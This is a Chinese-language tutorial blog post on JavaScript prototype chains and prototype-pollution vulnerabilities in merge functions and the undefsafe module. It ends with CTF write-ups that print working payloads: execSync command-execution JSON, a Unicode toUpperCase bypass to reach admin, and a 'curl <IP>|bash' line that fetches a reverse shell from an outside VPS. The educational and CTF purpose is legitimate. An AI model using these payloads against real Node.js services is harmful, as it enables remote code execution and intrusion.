【技术分享】从浅入深 Javascript 原型链与原型链污染

  • A+
所属分类:安全闲碎

【技术分享】从浅入深 Javascript 原型链与原型链污染


【技术分享】从浅入深 Javascript 原型链与原型链污染
前言
【技术分享】从浅入深 Javascript 原型链与原型链污染

JavaScript 是一门非常灵活的语言,与 PHP 相比起来更加灵活。除了传统的 SQL 注入、代码执行等注入型漏洞外,也会有一些独有的安全问题,比如今天要说这个原型链污染。本篇文章就让我们来学习一下 NodeJS 原型链与原型链污染的原理。

 

【技术分享】从浅入深 Javascript 原型链与原型链污染
Javascript原型链与继承
【技术分享】从浅入深 Javascript 原型链与原型链污染

在 JavaScript 中,没有父类和子类这个概念,也没有类和实例的区分,而 JavaScript 中的继承关系则是靠一种叫做 “原型链” 的模式来实现的。

当我们谈到继承时,JavaScript 只有一种结构:对象。每个实例对象(object)都有一个私有属性( __proto__)指向它的构造函数的原型对象(prototype)。该原型对象也有一个自己的原型对象( __proto__),层层向上直到一个对象的原型对象为 null。根据定义,null 没有原型,并作为这个原型链中的最后一个环节。我们可以通过以下方式访问得到某一实例对象的原型对象:

objectname.[[prototype]]objectname.prototypeobjectname["__proto__"]objectname.__proto__objectname.constructor.prototype

在创建对象时,就会有一些预定义的属性。其中在定义函数的时候,这个预定义属性就是 prototype,这个 prototype 是一个普通的原型对象。

而定义普通的对象的时候,就会生成一个 __proto__,这个 __proto__ 指向的是这个对象的构造函数的 prototype。

JavaScript 对象是动态的属性“包”(指其自己的属性)。JavaScript 对象有一个指向一个原型对象的链。当试图访问一个对象的属性时,它不仅仅在该对象上搜寻,还会搜寻该对象的原型,以及该对象的原型的原型,依次层层向上搜索,直到找到一个名字匹配的属性或到达原型链的末尾。

不同对象所生成的原型链如下(部分):

var o = {a: 1};// o对象直接继承于 Object.prototype// 原型链: o ---> Object.prototype ---> null
var a = ["yo", "whadup", "?"];// 数组都继承于 Array.prototype// 原型链: a ---> Array.prototype ---> Object.prototype ---> null
function f(){ return 2;}// 函数都继承于 Function.prototype// 原型链: f ---> Function.prototype ---> Object.prototype ---> null
这里演示当尝试访问属性时会发生什么:// 让我们从一个函数里创建一个对象o, 它自身拥有属性a和b的:let f = function () { this.a = 1; this.b = 2;}/* 这么写也一样function f() { this.a = 1; this.b = 2;}*/let o = new f(); // {a: 1, b: 2}
// 在 f 函数的原型对象上定义属性f.prototype.b = 3;f.prototype.c = 4;
// 不要在 f 函数的原型上直接定义 f.prototype = {b:3,c:4};, 这样会直接打破原型链// o.[[Prototype]] 有属性 b 和 c// (其实就是 o.__proto__ 或者 o.constructor.prototype)// o.[[Prototype]].[[Prototype]] 是 Object.prototype.// 最后o.[[Prototype]].[[Prototype]].[[Prototype]]是null// 这就是原型链的末尾,即 null,// 根据定义,null 就是没有 [[Prototype]]。
// 综上,整个原型链如下:
// {a:1, b:2} ---> {b:3, c:4} ---> Object.prototype---> null
console.log(o.a); // 输出 1// a是o的自身属性吗?是的,该属性的值为 1
console.log(o.b); // 输出 2// b是o的自身属性吗?是的,该属性的值为 2// 原型上也有一个'b'属性,但是它不会被访问到。// 这种情况被称为"属性遮蔽 (property shadowing)"
console.log(o.c); // 输出 4// c是o的自身属性吗?不是,那看看它的原型上有没有// c是o.[[Prototype]]的属性吗?是的,该属性的值为 4
console.log(o.d); // 输出 undefined// d 是 o 的自身属性吗?不是,那看看它的原型上有没有// d 是 o.[[Prototype]] 的属性吗?不是,那看看它的原型上有没有// o.[[Prototype]].[[Prototype]] 为 null,停止搜索// 找不到 d 属性,返回 undefined

JavaScript 并没有其他基于类的语言所定义的 “方法”。在 JavaScript 里,任何函数都可以添加到对象上作为对象的属性。函数的继承与其他的属性继承没有差别,包括上面的 “属性遮蔽”(这种情况相当于其他语言的方法重写)。

接下来,我们仔细分析一下在下面这些应用场景中, JavaScript 在背后做了哪些事情。

为了最佳的学习体验,我们强烈建议阁下打开浏览器的控制台,进入“console”选项卡,然后运行代码。

function doSomething(){}console.log(doSomething.prototype);// 和声明函数的方式无关,// JavaScript 中的函数永远有一个默认原型属性。var doSomething = function(){};console.log(doSomething.prototype);

正如之前提到的,在 JavaScript 中,函数(function)是允许拥有属性的。所有的函数会有一个特别的属性 —— prototype 。在控制台显示的JavaScript代码块中,我们可以看到 doSomething 函数的一个默认属性 prototype:

【技术分享】从浅入深 Javascript 原型链与原型链污染

控制台中主要的显示应该类似如下的结果:

{    constructor: ƒ doSomething(),    __proto__: {        constructor: ƒ Object(),        hasOwnProperty: ƒ hasOwnProperty(),        isPrototypeOf: ƒ isPrototypeOf(),        propertyIsEnumerable: ƒ propertyIsEnumerable(),        toLocaleString: ƒ toLocaleString(),        toString: ƒ toString(),        valueOf: ƒ valueOf()    }}

我们可以给 doSomething 函数的原型对象添加新属性,如下:

function doSomething(){}doSomething.prototype.foo = "bar";console.log(doSomething.prototype);

可以看到运行后的结果如下:

【技术分享】从浅入深 Javascript 原型链与原型链污染

控制台中主要的显示应该类似如下的结果:

{    foo: "bar",    constructor: ƒ doSomething(),    __proto__: {        constructor: ƒ Object(),        hasOwnProperty: ƒ hasOwnProperty(),        isPrototypeOf: ƒ isPrototypeOf(),        propertyIsEnumerable: ƒ propertyIsEnumerable(),        toLocaleString: ƒ toLocaleString(),        toString: ƒ toString(),        valueOf: ƒ valueOf()    }}

现在我们可以通过 new 操作符来创建基于这个原型对象的 doSomething 实例。使用 new 操作符,只需在调用 doSomething 函数语句之前添加new。这样,便可以获得这个函数的一个实例对象,一些属性就可以添加到该原型对象中。

请尝试运行以下代码:

function doSomething(){}doSomething.prototype.foo = "bar"; // add a property onto the prototypevar doSomeInstancing = new doSomething();doSomeInstancing.prop = "some value"; // add a property onto the objectconsole.log(doSomeInstancing);

可以看到运行后的结果如下:

【技术分享】从浅入深 Javascript 原型链与原型链污染

控制台中主要的显示应该类似如下的结果:

{    prop: "some value",    __proto__: {        foo: "bar",        constructor: ƒ doSomething(),        __proto__: {            constructor: ƒ Object(),            hasOwnProperty: ƒ hasOwnProperty(),            isPrototypeOf: ƒ isPrototypeOf(),            propertyIsEnumerable: ƒ propertyIsEnumerable(),            toLocaleString: ƒ toLocaleString(),            toString: ƒ toString(),            valueOf: ƒ valueOf()        }    }}

如上所示,doSomeInstancing 中的 __proto__ 是 doSomething.prototype 。但这是做什么的呢?当你访问 doSomeInstancing 中的一个属性时,浏览器首先会查看 doSomeInstancing 中是否存在这个属性。

如果 doSomeInstancing 不包含属性信息,那么浏览器会在 doSomeInstancing 的 __proto__ 中进行查找(同 doSomething.prototype)。如属性在 doSomeInstancing 的 __proto__ 中查找到,则使用 doSomeInstancing 中 __proto__ 的属性。

否则,如果 doSomeInstancing 中 __proto__ 不具有该属性,则检查 doSomeInstancing 的 __proto__ 的 __proto__ 是否具有该属性,也就是通过 doSomething.prototype 的 __proto__ 即 Object.prototype 来查找该属性。

如果属性不存在 doSomeInstancing 的 __proto__ 的 __proto__ 中, 那么就会在doSomeInstancing 的 __proto__ 的 __proto__ 的 __proto__ 中查找。然而,这里存在个问题:doSomeInstancing 的 __proto__ 的 __proto__ 的 __proto__ 其实不存在。因此,只有这样,在 __proto__ 的整个原型链被查看之后,这里没有更多的 __proto__ , 浏览器断言该属性不存在,并给出属性值为 undefined 的结论。

 

【技术分享】从浅入深 Javascript 原型链与原型链污染
Javascript原型链污染漏洞管理
【技术分享】从浅入深 Javascript 原型链与原型链污染

我们来看看下面这个语句:

object[a][b] = value

如果我们可以控制 a、b、value 的值,将 a 设置为__proto__,那么我们就可以给 object 对象的原型设置一个 b 属性,值为 value。这样所有继承 object 对象原型的实例对象就会在本身不拥有 b 属性的情况下,都会拥有b属性,且值为value。

来看一个简单的例子:

object1 = {"a":1, "b":2};object1.__proto__.foo = "Hello World";console.log(object1.foo);object2 = {"c":1, "d":2};console.log(object2.foo);

【技术分享】从浅入深 Javascript 原型链与原型链污染

最终会输出两个 Hello World。为什么 object2 在没有设置 foo 属性的情况下,也会输出 Hello World 呢?就是因为在第二条语句中,我们对 object1 的原型对象设置了一个 foo 属性,而 object2 和 object1 一样,都是继承了 Object.prototype。在获取 object2.foo 时,由于 object2 本身不存在 foo 属性,就会往父类 Object.prototype 中去寻找。这就造成了一个原型链污染,所以原型链污染简单来说就是如果能够控制并修改一个对象的原型,就可以影响到所有和这个对象同一个原型的对象。

 

【技术分享】从浅入深 Javascript 原型链与原型链污染
Merge类操作导致原型链污染
【技术分享】从浅入深 Javascript 原型链与原型链污染

Merge 类操作是最常见可能控制键名的操作,也最能被原型链攻击。

给出一个例子:

function merge(target, source) {    for (let key in source) {        if (key in source && key in target) {            merge(target[key], source[key])        } else {            target[key] = source[key]        }    }}
let object1 = {}let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')merge(object1, object2)console.log(object1.a, object1.b)
object3 = {}console.log(object3.b)

最终输出的结果为:

1 22

可见 object3 的 b 是从原型中获取到的,说明 Object 已经被污染了。这是因为,在 JSON 解析的情况下,__proto__ 会被认为是一个真正的 “键名”,而不代表“原型”,所以在遍历 object2 的时候会存在这个键,所以 Object 理所应当的便被污染了。

下面分析一下 Merge() 为什么不安全:

  • 这个函数对 source 对象中的所有属性进行迭代(因为对象 source 在键值对相同的情况下拥有更高的优先级)

  • 如果属性同时存在于第一个和第二个参数中,且他们都是 Object,它就会递归地合并这个属性。

  • 现在我们如果控制 source[key] 的值,使其值变成 __proto__,且我们能控制 source 中 __proto__ 属性的值,在递归的时候,target[key] 在某个特定的时候就会指向对象 target 的 prototype,我们就能成功地添加一个新的属性到该对象的原型链中了。

这就是最典型的一个原型链污染的例子,下面我们看几道 CTF 中原型链污染的例题。

[GYCTF2020]Ez_Express

进入题目,一个登录框:

【技术分享】从浅入深 Javascript 原型链与原型链污染

下载 www.zip 得到源码,然后对源码进行审计,routes 路径下有个 index.js:

var express = require('express');var router = express.Router();const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => { // 发现 merge 危险操作 for (var attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a}const clone = (a) => { return merge({}, a);}function safeKeyword(keyword) { if(keyword.match(/(admin)/is)) { return keyword }
return undefined}
router.get('/', function (req, res) { if(!req.session.user){ res.redirect('/login'); } res.outputFunctionName=undefined; res.render('index',data={'user':req.session.user.user});});

router.get('/login', function (req, res) { res.render('login');});

router.post('/login', function (req, res) { if(req.body.Submit=="register"){ if(safeKeyword(req.body.userid)){ res.end("<script>alert('forbid word');history.go(-1);</script>") } req.session.user={ 'user':req.body.userid.toUpperCase(), // 变成大写 'passwd': req.body.pwd, 'isLogin':false } res.redirect('/'); } else if(req.body.Submit=="login"){ if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")} if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){ req.session.user.isLogin=true; } else{ res.end("<script>alert('error passwd');history.go(-1);</script>") }
} res.redirect('/');});router.post('/action', function (req, res) { // /action 路由只能 admin 用户访问 if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} req.session.user.data = clone(req.body); // 使用了之前定义的 merge 危险操作 res.end("<script>alert('success');history.go(-1);</script>"); });router.get('/info', function (req, res) { res.render('index',data={'user':res.outputFunctionName});})module.exports = router;

源码中用了 merge() 和 clone(),那必定是原型链污染了。往下找到调用 clone() 的位置:

router.post('/action', function (req, res) {    // /action路由只能admin用户访问  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}   req.session.user.data = clone(req.body);    // 使用了之前定义的危险的merge操作  res.end("<script>alert('success');history.go(-1);</script>");  });

可见,当我们登上 admin 用户后,便可以发送 POST 数据来进行原型链污染了。但是要污染哪一个参数呢,我们继续向下看到 /info 路由:

router.get('/info', function (req, res) {  res.render('index',data={'user':res.outputFunctionName});})

可以看到在 /info 下,将 res 对象中的 outputFunctionName 属性渲染入 index 中,而 outputFunctionName 是未定义的:

res.outputFunctionName=undefined;

所以我们就污染 outputFunctionName 属性吧。

但是需要admin账号才能用到 clone(),于是去到 /login 路由处:

router.post('/login', function (req, res) {  if(req.body.Submit=="register"){   if(safeKeyword(req.body.userid)){    // 注册的用户的userid不能是admin    res.end("<script>alert('forbid word');history.go(-1);</script>")    }    req.session.user={      'user':req.body.userid.toUpperCase(),    // 变成大写      'passwd': req.body.pwd,      'isLogin':false    }    res.redirect('/');   }  else if(req.body.Submit=="login"){    if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}    if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){      req.session.user.isLogin=true;    }    else{      res.end("<script>alert('error passwd');history.go(-1);</script>")    }
} res.redirect('/'); ;});

可以看到注册的用户名不能为 admin(大小写),不过有个地方可以注意到:

'user':req.body.userid.toUpperCase(),

这里将user给转为大写了,这种转编码的通常都很容易出问题,具体请参考 p 牛的文章 《Fuzz中的javascript大小写特性》

我们可以注册一个 admın(此admın非彼admin,仔细看i部分):

特殊字符绕过:

toUpperCase()

我们可以在其中混入了两个奇特的字符”ı”、”ſ”。这两个字符的“大写”是I和S。也就是说”ı”.toUpperCase() == ‘I’,”ſ”.toUpperCase() == ‘S’。通过这个小特性可以绕过一些限制。

toLowerCase()

这个”K”的“小写”字符是k,也就是”K”.toLowerCase() == ‘k’.

注册后成功登录admin用户:

【技术分享】从浅入深 Javascript 原型链与原型链污染

让我们输入自己最喜欢的语言,这里我们就可以发送 Payload 进行原型链污染了:

{"lua":"123","__proto__":{"outputFunctionName":"t=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()//"},"Submit":""}

输入后抓包:

【技术分享】从浅入深 Javascript 原型链与原型链污染

并将 Content-Type 设为 application/json,POST Body 部分改为 Json 格式的数据并加上Payload:

【技术分享】从浅入深 Javascript 原型链与原型链污染

然后访问 /info 路由即可得到flag:

【技术分享】从浅入深 Javascript 原型链与原型链污染

Nullcon HackIM

再来看看 Nullcon HackIM 中的一个例子:

'use strict';
const express = require('express');const bodyParser = require('body-parser')const cookieParser = require('cookie-parser');const path = require('path');

const isObject = obj => obj && obj.constructor && obj.constructor === Object;
function merge(a, b) { for (var attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a}
function clone(a) { return merge({}, a);}
// Constantsconst PORT = 8080;const HOST = '0.0.0.0';const admin = {};
// Appconst app = express();app.use(bodyParser.json()) // 调用中间件解析jsonapp.use(cookieParser());
app.use('/', express.static(path.join(__dirname, 'views')));app.post('/signup', (req, res) => { var body = JSON.parse(JSON.stringify(req.body)); var copybody = clone(body) if (copybody.name) { res.cookie('name', copybody.name).json({ "done": "cookie set" }); } else { res.json({ "error": "cookie not set" }) }});app.get('/getFlag', (req, res) => { var аdmin = JSON.parse(JSON.stringify(req.cookies)) if (admin.аdmin == 1) { res.send("hackim19{}"); } else { res.send("You are not authorized"); }});app.listen(PORT, HOST);console.log(`Running on http://${HOST}:${PORT}`);

代码很简单,还是使用了 Merge 危险操作,存在原型链污染,因此最简单的 Payload 就是:

{"__proto__": {"admin": 1}}


【技术分享】从浅入深 Javascript 原型链与原型链污染
Undefsafe模块原型链污染
【技术分享】从浅入深 Javascript 原型链与原型链污染

不光是 Merge 操作容易造成原型链污染,undefsafe 模块也可以原型链污染。undefsafe 是 Nodejs 的一个第三方模块,其核心为一个简单的函数,用来处理访问对象属性不存在时的报错问题。但其在低版本(< 2.0.3)中存在原型链污染漏洞,攻击者可利用该漏洞添加或修改 Object.prototype 属性。

undefsafe 模块使用

我们先简单测试一下该模块的使用:

var object = {    a: {        b: {            c: 1,            d: [1,2,3],            e: 'skysec'        }    }};console.log(object.a.b.e)// skysec

可以看到当我们正常访问object属性的时候会有正常的回显,但当我们访问不存在属性时则会得到报错:

console.log(object.a.c.e)// TypeError: Cannot read property 'e' of undefined

在编程时,代码量较大时,我们可能经常会遇到类似情况,导致程序无法正常运行,发送我们最讨厌的报错。那么 undefsafe 可以帮助我们解决这个问题:

var a = require("undefsafe");
console.log(a(object,'a.b.e'))// skysecconsole.log(object.a.b.e)// skysecconsole.log(a(object,'a.c.e'))// undefinedconsole.log(object.a.c.e)// TypeError: Cannot read property 'e' of undefined

那么当我们无意间访问到对象不存在的属性时,就不会再进行报错,而是会返回 undefined 了。

同时在对对象赋值时,如果目标属性存在:

var a = require("undefsafe");var object = {    a: {        b: {            c: 1,            d: [1,2,3],            e: 'skysec'        }    }};console.log(object)// { a: { b: { c: 1, d: [Array], e: 'skysec' } } }a(object,'a.b.e','123')console.log(object)// { a: { b: { c: 1, d: [Array], e: '123' } } }

我们可以看到,其可以帮助我们修改对应属性的值。如果当属性不存在时,我们想对该属性赋值:

var a = require("undefsafe");var object = {    a: {        b: {            c: 1,            d: [1,2,3],            e: 'skysec'        }    }};console.log(object)// { a: { b: { c: 1, d: [Array], e: 'skysec' } } }a(object,'a.f.e','123')console.log(object)// { a: { b: { c: 1, d: [Array], e: 'skysec' }, e: '123' } }

访问属性会在上层进行创建并赋值。

undefsafe 模块漏洞分析

通过以上演示我们可知,undefsafe 是一款支持设置值的函数。但是 undefsafe 模块在小于2.0.3版本,存在原型链污染漏洞(CVE-2019-10795)。

我们在 2.0.3 版本中进行测试:

var a = require("undefsafe");var object = {    a: {        b: {            c: 1,            d: [1,2,3],            e: 'skysec'        }    }};var payload = "__proto__.toString";a(object,payload,"evilstring");console.log(object.toString);// [Function: toString]

但是如果在低于 2.0.3 版本运行,则会得到如下输出:

var a = require("undefsafe");var object = {    a: {        b: {            c: 1,            d: [1,2,3],            e: 'skysec'        }    }};var payload = "__proto__.toString";a(object,payload,"evilstring");console.log(object.toString);//evilstring

可见,当 undefsafe() 函数的第 2,3 个参数可控时,我们可以污染 object 对象中的值。

再来看一个简单例子:

var a = require("undefsafe");var test = {}console.log('this is '+test)    // 将test对象与字符串'this is '进行拼接// this is [object Object]

返回:[object Object],并与this is进行拼接。但是当我们使用 undefsafe 的时候,可以对原型进行污染:

a(test,'__proto__.toString',function(){ return 'just a evil!'})console.log('this is '+test)    // 将test对象与字符串'this is '进行拼接// this is just a evil!

可以看到最终输出了 “this is just a evil!”。这就是因为原型链污染导致,当我们将对象与字符串拼接时,即将对象当做字符串使用时,会自动其触发 toString 方法。但由于当前对象中没有,则回溯至原型中寻找,并发现toString方法,同时进行调用,而此时原型中的toString方法已被我们污染,因此可以导致其输出被我们污染后的结果。

下面我们来看一道例题。

[网鼎杯 2020 青龙组]notes

【技术分享】从浅入深 Javascript 原型链与原型链污染

题目给了源码:

var express = require('express');var path = require('path');const undefsafe = require('undefsafe');const { exec } = require('child_process');
var app = express();class Notes { constructor() { this.owner = "whoknows"; this.num = 0; this.note_list = {}; // 定义了一个字典,在后面的攻击过程中会用到 }
write_note(author, raw_note) { this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note}; }
get_note(id) { var r = {} undefsafe(r, id, undefsafe(this.note_list, id)); return r; }
edit_note(id, author, raw) { undefsafe(this.note_list, id + '.author', author); undefsafe(this.note_list, id + '.raw_note', raw); }
get_all_notes() { return this.note_list; }
remove_note(id) { delete this.note_list[id]; }}
var notes = new Notes();notes.write_note("nobody", "this is nobody's first note");

app.set('views', path.join(__dirname, 'views'));app.set('view engine', 'pug'); // 设置模板引擎为pug
app.use(express.json());app.use(express.urlencoded({ extended: false }));app.use(express.static(path.join(__dirname, 'public')));

app.get('/', function(req, res, next) { res.render('index', { title: 'Notebook' });});
app.route('/add_note') .get(function(req, res) { res.render('mess', {message: 'please use POST to add a note'}); }) .post(function(req, res) { let author = req.body.author; let raw = req.body.raw; if (author && raw) { notes.write_note(author, raw); res.render('mess', {message: "add note sucess"}); } else { res.render('mess', {message: "did not add note"}); } })
app.route('/edit_note') // 该路由中 undefsafe 三个参数均可控 .get(function(req, res) { res.render('mess', {message: "please use POST to edit a note"}); }) .post(function(req, res) { let id = req.body.id; let author = req.body.author; let enote = req.body.raw; if (id && author && enote) { notes.edit_note(id, author, enote); res.render('mess', {message: "edit note sucess"}); } else { res.render('mess', {message: "edit note failed"}); } })
app.route('/delete_note') .get(function(req, res) { res.render('mess', {message: "please use POST to delete a note"}); }) .post(function(req, res) { let id = req.body.id; if (id) { notes.remove_note(id); res.render('mess', {message: "delete done"}); } else { res.render('mess', {message: "delete failed"}); } })
app.route('/notes') .get(function(req, res) { let q = req.query.q; let a_note; if (typeof(q) === "undefined") { a_note = notes.get_all_notes(); } else { a_note = notes.get_note(q); } res.render('note', {list: a_note}); })
app.route('/status') // 漏洞点,只要将字典 commands 给污染了, 就能任意执行我们的命令 .get(function(req, res) { let commands = { "script-1": "uptime", "script-2": "free -m" }; for (let index in commands) { exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => { if (err) { return; } console.log(`stdout: ${stdout}`); // 将命令执行结果输出 }); } res.send('OK'); res.end(); })

app.use(function(req, res, next) { res.status(404).send('Sorry cant find that!');});

app.use(function(err, req, res, next) { console.error(err.stack); res.status(500).send('Something broke!');});

const port = 8080;app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

我们注意到其使用了 undefsafe 模块,那么如果我们可以操纵其第 2、3 个参数,即可进行原型链污染,则可使目标网站存在风险。故此,我们首先要寻找 undefsafe 的调用点:

get_note(id) {    var r = {}    undefsafe(r, id, undefsafe(this.note_list, id));    return r;}
edit_note(id, author, raw) { undefsafe(this.note_list, id + '.author', author); undefsafe(this.note_list, id + '.raw_note', raw);}

发现在查看 note 和编辑 note 时会调用 undefsafe,那我们首先查看 get_note 方法会被哪个路由调用:

app.route('/notes')    .get(function(req, res) {        let q = req.query.q;        let a_note;        if (typeof(q) === "undefined") {            a_note = notes.get_all_notes();        } else {            a_note = notes.get_note(q);        }        res.render('note', {list: a_note});    })

发现此时虽然 q 参数可控,但是也只有 q 参数可控,也就是说我们只能控制 undefsave 函数的第二个参数,而 undefsave 函数的第三个参数我们控制不了。

而对于 edit_note 方法,我们发现 edit_note 路由中会调用 edit_note 方法:

app.route('/edit_note')    .get(function(req, res) {        res.render('mess', {message: "please use POST to edit a note"});    })    .post(function(req, res) {        let id = req.body.id;        let author = req.body.author;        let enote = req.body.raw;        if (id && author && enote) {            notes.edit_note(id, author, enote);            res.render('mess', {message: "edit note sucess"});        } else {            res.render('mess', {message: "edit note failed"});        }    })

此时 id、author 和 raw 均为我们的可控值,那么我们则可以操纵原型链进行污染:

    edit_note(id, author, raw) {        undefsafe(this.note_list, id + '.author', author);        undefsafe(this.note_list, id + '.raw_note', raw);    }

那么既然找到了可以进行原型链污染的位置,就要查找何处可以利用污染的值造成攻击,我们依次查看路由,发现 /status 路由有命令执行的操作:

app.route('/status')    // 漏洞点,只要将字典commands给污染了,就能执行我们的任意命令    .get(function(req, res) {        let commands = {            "script-1": "uptime",            "script-2": "free -m"        };        for (let index in commands) {            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {                if (err) {                    return;                }                console.log(`stdout: ${stdout}`);    // 将命令执行结果输出            });        }        res.send('OK');        res.end();    })

那我们的思路就来了,我们可以通过 /edit_note 路由污染 note_list 对象的原型,比如加入某个命令,由于 commands 和 note_list 都继承自同一个原型,那么在遍历 commands 时便会取到我们污染进去的恶意命令并执行。

在 VPS 上面创建一个反弹 Shell 的文件,然后等待目标主机去 Curl 访问并执行他:

【技术分享】从浅入深 Javascript 原型链与原型链污染

在目标主机执行 Payload:

POST /edit_note
id=__proto__.aaa&author=curl 47.101.57.72|bash&raw=lalala;
【技术分享】从浅入深 Javascript 原型链与原型链污染

再访问 /status 路由,利用污染后的结果进行命令执行,成功反弹 Shell 并得到 flag:

【技术分享】从浅入深 Javascript 原型链与原型链污染

Ending……

(点击”阅读原文“查看链接)

【技术分享】从浅入深 Javascript 原型链与原型链污染


- End -

精彩推荐

【技术分享】任意RAT改加载器Bypass

【技术分享】闲谈文件写入实战应用

【技术分享】IC卡基础之门禁卡复制

【技术分享】从浅入深 Javascript 原型链与原型链污染

戳“阅读原文”查看更多内容

本文始发于微信公众号(安全客):【技术分享】从浅入深 Javascript 原型链与原型链污染

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: